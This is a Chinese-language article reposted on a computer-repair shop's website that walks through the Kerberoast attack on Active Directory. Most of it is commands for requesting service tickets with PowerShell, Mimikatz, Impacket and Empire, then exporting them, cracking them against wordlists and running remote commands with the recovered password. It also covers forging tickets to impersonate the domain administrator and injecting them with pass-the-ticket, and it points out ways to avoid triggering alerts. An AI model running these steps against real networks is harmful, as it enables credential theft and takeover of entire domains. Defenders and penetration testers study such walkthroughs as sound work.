锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务,锦州广厦维修电脑,公司IT外包服务
topFlag1 设为首页
topFlag3 收藏本站
 
maojin003 首 页 公司介绍 服务项目 服务报价 维修流程 IT外包服务 服务器维护 技术文章 常见故障
锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务技术文章
破解Kerberos服务票据,详细的Kerberoast攻击演示

作者: 佚名  日期:2018-06-26 21:24:45   来源: 本站整理

 简单直白的说Kerberoast攻击,就是攻击者为了获取目标服务的访问权限,而设法破解Kerberos服务票据并重写它们的过程。这是红队当中非常常见的一种攻击手法,因为它不需要与服务目标服务进行任何交互,并且可以使用合法的活动目录访问来请求和导出可以离线破解的服务票据,以获取到最终的明文密码。之所以出现这种情况,是因为服务票据使用服务帐户的散列(NTLM)进行加密,所以任何域用户都可以从服务转储散列,而无需将shell引入运行该服务的系统中。
攻击者通常会选择那些可能设置了弱密,码破解成功率较高的票据来尝试破解。一旦攻击者成功破解出了票据,他们有时不仅仅获取的只是服务访问权限,如果服务被配置为在高权限下运行,那么整个域都将可能被攻击者拿下。这些票据可以通过考虑多种因素来识别,例如:
SPNs绑定到域用户账户
最后一次密码设置(Password last set)
密码过期时间
最后一次登录(Last logon)
具体来说,Kerberoast攻击涉及以下五个步骤:
服务主体名称(SPN)发现
请求服务票据
导出服务票据
破解服务票据
重写服务票据&RAM注入
在服务主体名称(SPN)发现这篇文章中,已经为大家介绍了如何通过查询Active Directory的服务主体名称,来发现网络中服务的方法。
请求服务票据
为特定SPN请求服务票据的最简单方法是通过PowerShell,这个方法是Tim Medin在DerbyCon 4.0演讲中介绍的。
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"

执行klist命令将列出所有可用的缓存票据。
klist

请求服务票据的另一种解决方案是通过Mimikatz指定服务主体名称作为目标。
kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80

与klist类似,内存中存在的Kerberos票据列表可以通过Mimikatz来检索。从现有的PowerShell会话中,Invoke-Mimikatz脚本将输出所有票据。
Invoke-Mimikatz -Command '"kerberos::list"'

或者,加载Kiwi模块添加一些额外的Mimikatz命令,它们也可以执行相同的任务。
load kiwi
kerberos_ticket_list

还或者可以通过执行一个自定义的Kiwi命令:
kiwi_cmd kerberos::list

Impacket中有一个python模块,它可以请求仅属于域用户的Kerberos服务票据,与计算机帐户服务票据相比应该更易于破解。但是,想要与Active Directory进行交互,需要有效的域凭据,因为它将从不属于域的系统执行。
./GetUserSPNs.py -request pentestlab.local/test

服务帐户哈希也将以John the Ripper格式检索。

使用Matan Hart开发的PowerShell模块可以帮助我们自动识别弱服务票据,该模块是RiskySPN中的一部分。主要作用是对属于用户的可用服务票据执行审计,并根据用户帐户和密码过期时限来查找最容易包含弱密码的票据。
Find-PotentiallyCrackableAccounts -FullData -Verbose

该脚本将提供比klist和Mimikatz更详细的输出,包括组信息,密码有效期和破解窗口。

使用domain参数执行同一模块,将返回所有具有关联服务主体名称的用户帐户。
Find-PotentiallyCrackableAccounts -Domain "pentestlab.local"

服务票据信息也可以以CSV格式导出,以便离线查看。
Export-PotentiallyCrackableAccounts
所有出现在控制台中的票据信息都将被写入文件中。

这里还有一个脚本(相同存储库的一部分),可以通过其SPN为服务实例获取服务票据。
Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"

 Tim Medin的Kerberoast工具包已实现流程的自动化。Auto-Kerberoast中包含了Tim的原始脚本,其中包含两个可执行各种功能的PowerShell脚本,例如以Base64, John和Hashcat格式列出和导出服务票据等。
List-UserSPNs

还有一个domain参数可以只列出特定域的SPN。
List-UserSPNs -Domain "pentestlab.local"

导出服务票据
Mimikatz是可以导出Kerberos服务票据的标准工具。从PowerShell会话中,以下命令将列出内存中的所有可用票据,并将其保存在远程主机中。
Invoke-Mimikatz -Command '"kerberos::list /export"'

同样,PowerShell Empire有一个模块可以自动完成Kerberos服务票据提取任务。
usemodule credentials/mimikatz/extract_tickets

该模块将使用Invoke-Mimikatz函数自动执行以下命令。
standard::base64
kerberos::list /export

支持Kerberos身份验证的服务票据哈希可以直接使用PowerShell Empire模块提取。哈希的格式可以提取为John或Hashcat。
usemodule credentials/invoke_kerberoast

该模块将检索所有服务帐户的密码哈希值。

 AutoKerberoast PowerShell脚本将请求并提取base64格式的所有服务票据。
Invoke-AutoKerberoast

AutoKerberoast存储库中还有一个脚本,它将以hashcat兼容格式显示提取的票据。

属于特定域的提升组的票据也可以提取用于更具针对性的Kerberoasting。
Invoke-AutoKerberoast -GroupName "Domain Admins" -Domain pentestlab.local -HashFormat John

Matan Hart开发的Get-TGSCipher PowerShell模块,可以以三种不同的格式提取服务票据的密码哈希值:John,Hashcat和Kerberoast。可以在SPN发现过程中检索脚本所需的关联服务的服务主体名称。
Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80" -Format John
TGSCipher - Service Ticket Hash

使用Get-TGSCipher函数的好处是,无需使用Mimikatz导出票据,这可以大大降低警报的触发,以及省去将票据转换为john格式的步骤。
破解服务票据
python脚本tgsrepcrack是Tim Medin Kerberoast工具包的一部分,可以通过提供的密码列表来破解Kerberos票据。
python tgsrepcrack.py /root/Desktop/passwords.txt PENTESTLAB_001.kirbi

Lee Christensen开发了一个名为extractServiceTicketParts的python脚本,它可以为我们提取服务票据的哈希值,以及一款Go语言编写的哈希破解器tgscrack ,两者可以配合使用。

python extractServiceTicketParts.py PENTESTLAB_001.kirbi

tgscrack需要我们为其指定哈希文件以及字典文件的本地存放路径。
tgscrack.exe -hashfile hash.txt -wordlist passwords.txt

密码将以明文显示。
如果PowerShell remoting已启用,则可以使用从服务票据中检索的密码执行远程命令等操作。
Enable-PSRemoting
$pass = 'Password123' | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList 'PENTESTLAB_001', $pass
Invoke-Command -ScriptBlock {get-process} -ComputerName WIN-PTELU2U07KG.PENTESTLAB.LOCAL -Credential $creds

正在运行的进程列表将被检索

服务票据重写&RAM注入
Kerberos票据使用密码的NTLM哈希签名。如果票据散列已被破解,那么可以使用Kerberoast python脚本重写票据。这将允许在服务将被访问时模拟任何域用户或伪造账户。此外,提权也是可能的,因为用户可以被添加到诸如域管理员的高权限组中。
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512

使用以下Mimikatz命令将新票据重新注入内存,以便通过Kerberos协议对目标服务执行身份验证。
kerberos::ptt PENTESTLAB.kirbi
 


热门文章
  • 机械革命S1 PRO-02 开机不显示 黑...
  • 联想ThinkPad NM-C641上电掉电点不...
  • 三星一体激光打印机SCX-4521F维修...
  • 通过串口命令查看EMMC擦写次数和判...
  • IIS 8 开启 GZIP压缩来减少网络请求...
  • 索尼kd-49x7500e背光一半暗且闪烁 ...
  • 楼宇对讲门禁读卡异常维修,读卡芯...
  • 新款海信电视机始终停留在开机界面...
  • 常见打印机清零步骤
  • 安装驱动时提示不包含数字签名的解...
  • 共享打印机需要密码的解决方法
  • 图解Windows 7系统快速共享打印机的...
  • 锦州广厦电脑上门维修

    报修电话:13840665804  QQ:174984393 (联系人:毛先生)   
    E-Mail:174984393@qq.com
    维修中心地址:锦州广厦电脑城
    ICP备案/许可证号:辽ICP备2023002984号-1
    上门服务区域: 辽宁锦州市区
    主要业务: 修电脑,电脑修理,电脑维护,上门维修电脑,黑屏蓝屏死机故障排除,无线上网设置,IT服务外包,局域网组建,ADSL共享上网,路由器设置,数据恢复,密码破解,光盘刻录制作等服务

    技术支持:微软等